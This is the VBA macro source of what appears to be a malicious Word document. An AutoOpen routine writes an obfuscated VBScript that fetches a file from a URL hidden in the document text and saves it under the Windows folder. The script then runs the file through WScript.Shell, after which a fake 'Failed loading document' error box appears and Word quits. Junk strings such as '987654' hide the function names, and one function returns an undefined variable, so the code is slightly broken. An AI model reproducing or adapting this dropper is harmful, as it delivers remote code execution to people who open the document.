Public Sub AutoOpen()
CommandButton1_Click
End Sub
Public Sub OpUYHjkk(x)
Shell x, 1
End Sub
Function Delegatherd() As String
Dim Sukajet As Range
    Dim Deloubfg As String, Alamoer3 As String
Dim Daneczka As String
    Deloubfg = Lepikg("ht987654tp")
    Alamoer3 = "\"
    Set Sukajet = ActiveDocument.Content
    Sukajet.Find.ClearFormatting
    Sukajet.Find.Replacement.ClearFormatting
    With Sukajet.Find
        .Text = Deloubfg & "*" & Alamoer3
        .Replacement.Text = ""
        .Forward = True
        .Wrap = wdFindStop
        .Format = False
        .MatchWholeWord = False
        .MatchWildcards = True

        .MatchAllWordForms = False '
    End With

    Sukajet.Find.Execute
   Daneczka = Sukajet.Text
       Daneczka = Replace(Daneczka, "\", "")
    Daneczka = Trim(Daneczka)
   Delegatherd = f


End Function

Function xxs()
xxs = """"
End Function



Private Sub CommandButton1_Click()
Dim OSx2, dok2

OSx2 = Lepikg("wardx987654s.v987654bs")
Open OSx2 For Output As #2
dok2 = Lepikg("e = g(" & xxs & "~$wind987654ows/*/./*/p987654if" & xxs & "): Set a = CO(" & xxs & "M/*/S/*/X/*/M/*/L/*/2/*/.S/*/er/*/ve/*/r/*/XM/*/LH/*/TT/*/P" & xxs & "): a.ope987654n g(" & xxs & "G/*/E/*/T/*/" & xxs & "), " & xxs)
dok2 = dok2 & Delegatherd
dok2 = Lepikg(dok2 & xxs & ", false: a.se987654nd(): Set b = CO(" & xxs & "A/*/D/*/O/*/D/*/B/*/./*/S/*/t/*/r/*/e/*/am" & xxs & "): b.Ope987654n: b.Typ987654e = 1 : b.Wri987654te a.Resp987654onseB987654ody: b.Posit987654ion = 0   : Set c = CO(" & xxs & "S/*/c/*/ripting/*/./*/F/*/i/*/l/*/e/*/S/*/y/*/s/*/t/*/e/*/m/*/O/*/b/*/j/*/e/*/ct" & xxs & "): If c.Filee987654xists(e) Then c.Dele987654teFil987654e e: End If: b.sa987654veTo987654File e: b.Close: Dim d: Set d = CO(" & xxs & "W/*/S/*/c/*/r/*/i/*/p/*/t/*/./*/S/*/h/*/e/*/ll" & xxs & "): d.Run(e): Function co(Name) : set co = Cr987654eateObje987654ct(g(Name)): ENd function: Function g(f): g = Rep987654lace(f," & xxs & "/*/" & xxs & "," & xxs & "" & xxs & "): end function")
Print #2, dok2
Close #2
OpUYHjkk Lepikg("wsc987654ript " & xxs & OSx2 & xxs)
Dim title As String
title = Lepikg("Wind987654ows Er987654ror")
Dim msg As String
Dim Error As Integer
msg = Lepikg("Fa987654iled loa987654di987654ng docum987654ent")
Error = MsgBox(msg, 16, title)
Application.Quit
End Sub



Function Lepikg(s As String) As String
Lepikg = Replace(s, "987654", "")
End Function